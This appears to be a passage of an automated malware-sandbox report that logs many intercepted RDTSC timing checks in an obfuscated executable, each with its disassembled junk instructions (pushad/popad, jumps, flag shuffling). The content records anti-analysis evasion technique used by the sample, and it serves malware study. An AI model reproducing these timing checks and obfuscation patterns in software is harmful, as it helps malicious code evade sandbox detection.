Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B69 second address: 5280B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B6D second address: 5280B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280B73 second address: 5280C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d push esi 0x0000000e call 00007FE31118121Bh 0x00000013 pop ecx 0x00000014 pop edi 0x00000015 mov dh, cl 0x00000017 popad 0x00000018 push ebp 0x00000019 jmp 00007FE31118121Eh 0x0000001e mov dword ptr [esp], ebx 0x00000021 jmp 00007FE311181220h 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 pushad 0x00000029 jmp 00007FE31118121Ch 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 mov ax, 9F17h 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FE311181223h 0x0000003e adc ax, 141Eh 0x00000043 jmp 00007FE311181229h 0x00000048 popfd 0x00000049 pushfd 0x0000004a jmp 00007FE311181220h 0x0000004f sub esi, 30089A18h 0x00000055 jmp 00007FE31118121Bh 0x0000005a popfd 0x0000005b popad 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FE311181225h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280C49 second address: 5280C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov ch, bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007FE310CDC3A2h 0x00000013 sub ebx, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ebx, eax 0x0000001a call 00007FE310CDC3A6h 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280D57 second address: 5280E0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [77E16968h], 00000002h 0x00000010 jmp 00007FE311181220h 0x00000015 jne 00007FE383C86846h 0x0000001b jmp 00007FE311181220h 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FE31118121Eh 0x0000002a adc al, 00000008h 0x0000002d jmp 00007FE31118121Bh 0x00000032 popfd 0x00000033 movzx ecx, dx 0x00000036 popad 0x00000037 push eax 0x00000038 jmp 00007FE311181220h 0x0000003d mov dword ptr [esp], ebx 0x00000040 pushad 0x00000041 movzx eax, bx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushfd 0x00000047 jmp 00007FE311181229h 0x0000004c add ah, FFFFFF86h 0x0000004f jmp 00007FE311181221h 0x00000054 popfd 0x00000055 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280E0B second address: 5280E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 jmp 00007FE310CDC39Ch 0x0000000d push eax 0x0000000e pushad 0x0000000f mov ecx, edx 0x00000011 mov edi, 5F86E440h 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 jmp 00007FE310CDC39Fh 0x0000001d push dword ptr [ebp+14h] 0x00000020 jmp 00007FE310CDC3A6h 0x00000025 push dword ptr [ebp+10h] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FE310CDC39Dh 0x00000031 and ecx, 69A431A6h 0x00000037 jmp 00007FE310CDC3A1h 0x0000003c popfd 0x0000003d mov ch, 98h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5280EAE second address: 5280ECC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, 4E25h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52800E5 second address: 52800FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52800FA second address: 528010A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE31118121Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 528010A second address: 528017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FE310CDC3A6h 0x00000011 push eax 0x00000012 jmp 00007FE310CDC39Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop ecx 0x0000001d pushfd 0x0000001e jmp 00007FE310CDC3A7h 0x00000023 or cx, 688Eh 0x00000028 jmp 00007FE310CDC3A9h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 528017C second address: 52801D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE311181227h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FE311181229h 0x0000000f sub esi, 3A557E26h 0x00000015 jmp 00007FE311181221h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push edi 0x00000024 pop eax 0x00000025 mov bx, 09BAh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52801D8 second address: 52801DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5270D91 second address: 5270DCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FE31118121Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FE31118121Dh 0x00000019 push esi 0x0000001a pop edi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0A4F second address: 52F0A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0A53 second address: 52F0A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0A59 second address: 52F0AC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE310CDC3A1h 0x00000011 or ecx, 25B20B56h 0x00000017 jmp 00007FE310CDC3A1h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007FE310CDC3A0h 0x00000023 sub esi, 27D92D78h 0x00000029 jmp 00007FE310CDC39Bh 0x0000002e popfd 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0AC2 second address: 52F0AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0AC6 second address: 52F0AE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0AE1 second address: 52F0B0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE31118121Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0B0F second address: 52F0B2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0B2A second address: 52F0B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE311181229h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0D29 second address: 52E0D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0D2F second address: 52E0D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0D33 second address: 52E0D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FE310CDC3A0h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0A2C second address: 52E0A32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0A32 second address: 52E0A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE310CDC39Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FE310CDC3A6h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0A6E second address: 52E0A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 430Eh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F000B second address: 52F0011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0011 second address: 52F0021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dl, E5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0021 second address: 52F0026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0026 second address: 52F002E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F002E second address: 52F003E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F003E second address: 52F0042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0042 second address: 52F0048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0048 second address: 52F0065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, 433800E0h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0065 second address: 52F006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F006B second address: 52F006F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F006F second address: 52F0095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE310CDC3A9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0095 second address: 52F00A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE31118121Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F00A5 second address: 52F00BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F00BF second address: 52F00C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F00C3 second address: 52F00C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F012A second address: 52F0177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FE311181221h 0x0000000b sbb esi, 4A83A616h 0x00000011 jmp 00007FE311181221h 0x00000016 popfd 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE311181228h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52F0177 second address: 52F017D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0008 second address: 52C000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C000C second address: 52C0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0012 second address: 52C0021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE31118121Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0021 second address: 52C0047 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0047 second address: 52C004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C004B second address: 52C0051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0051 second address: 52C00B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE311181220h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FE311181227h 0x00000012 xchg eax, ebp 0x00000013 jmp 00007FE311181226h 0x00000018 mov ebp, esp 0x0000001a jmp 00007FE311181220h 0x0000001f and esp, FFFFFFF0h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 movsx edi, si 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C00B4 second address: 52C00B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C00B9 second address: 52C00FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 44h 0x0000000c jmp 00007FE31118121Eh 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FE311181220h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C00FB second address: 52C00FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C00FF second address: 52C0103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0103 second address: 52C0109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0109 second address: 52C018E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, B7h 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE31118121Fh 0x00000013 jmp 00007FE311181223h 0x00000018 popfd 0x00000019 mov cx, ADFFh 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f jmp 00007FE311181222h 0x00000024 push eax 0x00000025 jmp 00007FE31118121Bh 0x0000002a xchg eax, esi 0x0000002b pushad 0x0000002c mov bx, si 0x0000002f jmp 00007FE311181220h 0x00000034 popad 0x00000035 xchg eax, edi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FE311181227h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C018E second address: 52C023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE310CDC3A7h 0x00000011 add ch, FFFFFF9Eh 0x00000014 jmp 00007FE310CDC3A9h 0x00000019 popfd 0x0000001a mov dl, al 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e pushad 0x0000001f mov di, 7DACh 0x00000023 movsx ebx, ax 0x00000026 popad 0x00000027 mov edi, dword ptr [ebp+08h] 0x0000002a jmp 00007FE310CDC39Ch 0x0000002f mov dword ptr [esp+24h], 00000000h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov di, 87E0h 0x0000003e pushfd 0x0000003f jmp 00007FE310CDC3A9h 0x00000044 adc cx, D0E6h 0x00000049 jmp 00007FE310CDC3A1h 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C023F second address: 52C02F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lock bts dword ptr [edi], 00000000h 0x0000000e jmp 00007FE31118121Eh 0x00000013 jc 00007FE383BF33E2h 0x00000019 jmp 00007FE311181220h 0x0000001e pop edi 0x0000001f jmp 00007FE311181220h 0x00000024 pop esi 0x00000025 pushad 0x00000026 movzx esi, di 0x00000029 pushfd 0x0000002a jmp 00007FE311181223h 0x0000002f xor eax, 4090C6DEh 0x00000035 jmp 00007FE311181229h 0x0000003a popfd 0x0000003b popad 0x0000003c pop ebx 0x0000003d jmp 00007FE31118121Eh 0x00000042 mov esp, ebp 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FE311181227h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C02F2 second address: 52C02F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C02F8 second address: 52C0345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d call 00007FE311181224h 0x00000012 pushfd 0x00000013 jmp 00007FE311181222h 0x00000018 and cl, FFFFFFC8h 0x0000001b jmp 00007FE31118121Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0A9F second address: 52B0AA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AA5 second address: 52B0AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AA9 second address: 52B0AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movzx ecx, dx 0x0000000d call 00007FE310CDC3A1h 0x00000012 mov ebx, eax 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AD2 second address: 52B0AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AD6 second address: 52B0ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0ADA second address: 52B0AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AE0 second address: 52B0AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AE6 second address: 52B0AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0AEA second address: 52B0B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE310CDC3A4h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE310CDC3A7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0B22 second address: 52B0B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0B28 second address: 52B0B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52B0B2C second address: 52B0B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
